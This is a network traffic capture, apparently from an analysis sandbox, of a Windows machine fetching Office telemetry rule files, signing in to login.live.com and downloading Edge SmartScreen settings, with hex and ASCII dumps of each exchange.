2024-10-28 17:43:34 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:33 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 3c5c3d60-c01e-0066-4c9e-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174333Z-16849878b787wpl5wqkt5731b4000000064g000000008a96 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:34 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	63555	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:33 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:34 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:33 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9016a745-201e-0096-70e6-25ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174333Z-16849878b782d4lwcu6h6gmxnw00000004zg00000000g5w6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:34 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	63554	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:33 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:34 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:34 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: c2db9b5f-901e-0015-105a-27b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174334Z-16849878b786fl7gm2qg4r5y7000000005k000000000m8e2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 17:43:34 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	63556	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:33 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:34 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:33 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: e574f622-301e-0052-4beb-2565d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174333Z-16849878b78p8hrf1se7fucxk8000000064g00000000pdwe x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:34 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	63557	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:33 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:34 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:34 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 8e6d5db5-101e-0017-4c27-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174334Z-16849878b78fkwcjkpn19c5dsn000000047g00000000uw4n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:34 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	63552	40.126.31.71	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:34 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-28 17:43:34 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-28 17:43:34 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 28 Oct 2024 17:42:34 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C554_BL2 x-ms-request-id: a6f052ad-f1f8-4501-9db7-fe5138b22e74 PPServer: PPV: 30 H: BL02EPF0001D97B V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 28 Oct 2024 17:43:34 GMT Connection: close Content-Length: 11392
2024-10-28 17:43:34 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	63559	4.152.199.46	443	7940	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:34 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 718 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoidnlsNXNEQjBFdEdoV1RKamFTRGxLQT09IiwgImhhc2giOiIrSklOMUZnVWdHcz0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-10-28 17:43:34 UTC	718	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-10-28 17:43:35 UTC	302	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:34 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:7b18f7b7-44a8-4212-9aac-12b29c628ff9
2024-10-28 17:43:35 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-10-28 17:43:35 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-10-28 17:43:35 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-10-28 17:43:35 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-10-28 17:43:35 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-10-28 17:43:35 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-10-28 17:43:35 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
